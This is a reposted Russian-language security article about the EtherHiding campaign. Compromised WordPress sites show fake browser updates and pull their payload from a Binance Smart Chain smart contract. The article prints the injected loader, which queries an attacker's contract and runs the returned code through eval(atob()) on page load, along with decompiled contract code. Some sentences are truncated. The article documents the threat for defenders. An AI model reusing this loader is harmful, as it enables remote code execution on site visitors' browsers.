- PVSM.RU - https://www.pvsm.ru -
Один из старых хакерских трюков — распространять вредоносное ПО под видом обновления браузера [1]. На взломанном сайте размещается плашка с утверждением, что для просмотра нужно обновить браузер. И кнопка для скачивания обновления, как на скриншоте с прошлогодней атаки ClearFake [2]. Таким образом, жертва самостоятельно устанавливает вредоносное ПО на свой компьютер.
В прошлом году злоумышленники разработали умный способ защитить вредоносный софт от уничтожения. Они разместили его в децентрализованном анонимном блокчейне [3]. То есть интегрировали код в смарт-контракт, который навечно сохранился в открытом доступе.
Инновационный способ хранения вредоносного кода описали [3] специалисты по безопасности из израильской компании Guardio.
Схема выглядит следующим образом:
В данном случае используется BSC (Binance Smart Chain) [4], то есть блокчейн от крупнейшей криптобиржи Binance, который является альтернативой Etherium, первому в интернете блокчейну со смарт-контрактами.
Для распространения вредоноса используются сайты на платформе WordPress. Часто эксплуатируются уязвимости в плагинах WP (например, такое происходило во время операции Balada Injector [5]), устаревшие версии WordPress и украденные учётки.
На каждой странице взломанного сайта размещается следующий код (в обфусцированном виде Base64):
// include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js>
async function load() {
let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
signer = provider.getSigner(),
address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
ABI = [
{ inputs: [{ internalType: "string", .......},
{ inputs: [], name: "get", ......},
{ inputs: [], name: "link", ....... },
],
contract = new ethers.Contract(address, ABI, provider),
link = await contract.get();
eval(atob(link));
}
window.onload = load;
В данной части код взаимодействует с блокчейном BSC. Он создаёт новый смарт-контракт, инициализируя его с контролируемого злоумышленником адреса в блокчейна. Далее через интерфейс ABI (Application Binary Interface) объявляются функции и структура контракта. Вызывается функция get()
, она запрашивает контракт, чтобы скачать тот самый код, который впоследствии будет декодирован в JavaScript с помощью функции eval()
.
Код смарт-контракта:
def storage:
stor0 is array of struct at storage 0
def update(string _newName) payable:
require calldata.size - 4 >= 32
require _newName <= -1
require _newName + 35 < calldata.size
if _newName.length > -1:
revert with 'NH{q', 65
require _newName + _newName.length + 36 <= calldata.size
if bool(stor0.length):
if bool(stor0.length) == stor0.length.field_1 < 32:
revert with 'NH{q', 34
if _newName.length:
stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
else:
{...}
def get() payable:
if bool(stor0.length):
if bool(stor0.length) == stor0.length.field_1 < 32:
revert with 'NH{q', 34
{..}
if stor0.length.field_1:
if 31 < stor0.length.field_1:
mem[128] = uint256(stor0.field_0)
idx = 128
s = 0
while stor0.length.field_1 + 96 > idx:
mem[idx + 32] = stor0[s].field_256
idx = idx + 32
s = s + 1
continue
return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
mem[128] = 256 * stor0.length.field_8
else:
{...}
return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]),
def unknown1c4695f4() payable:
{...}
Этот простой смарт-контракт, который использует функцию хранения данных контракта (переменная массива stor0
). Метод update()
сохраняет входные данные в это хранилище байт за байтом, а метод get()
считывает хранилище и возвращает его значение в виде строки. Таким образом, взаимодействуя с контрактом, можно записывать или обновлять данные в цепочке.
Все операции хранятся в истории транзакций BSC, начиная с создания контракта 9 сентября 2023 года по другому адресу, контролируемому злоумышленниками. На этот другой адрес, созданный в конце июня 2022 года, перечислили BNB (монета Binance) в количестве, достаточном для создания и обновления контракта — действий, которые фактически не подлежат оплате, но требуют незначительной платы за «газ» ($0,02−0,60 на каждое действие):
Считывание вредоносного кода из блокчейна производит функция eth_call
из Binance SDK, и это бесплатная операция.
Раньше хакерский код хранился на
Код из контракта всё равно продолжит свободно распространяться, пусть и с пометкой в справочном сервисе.
Хранить код в блокчейне выгодно: децентрализованный
Новый тип атаки через блокчейн получил название EtherHiding [3]. Специалисты пока не могут найти эффективной защиты от распространения программ через общедоступную децентрализованную систему хранения информации, которую по её природе невозможно отредактировать.
Автор: GlobalSign_admin
Источник [7]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/wordpress/409534
Ссылки в тексте:
[1] под видом обновления браузера: https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates
[2] ClearFake: https://rmceoin.github.io/malware-analysis/2023/08/06/clearfake.html
[3] в децентрализованном анонимном блокчейне: https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16
[4] BSC (Binance Smart Chain): https://www.bnbchain.org/en/smartChain
[5] Balada Injector: https://www.bleepingcomputer.com/news/security/over-17-000-wordpress-sites-hacked-in-balada-injector-attacks-last-month/
[6] хостинге: https://www.reg.ru/?rlink=reflink-717
[7] Источник: https://habr.com/ru/companies/globalsign/articles/878822/?utm_campaign=878822&utm_source=habrahabr&utm_medium=rss
Нажмите здесь для печати.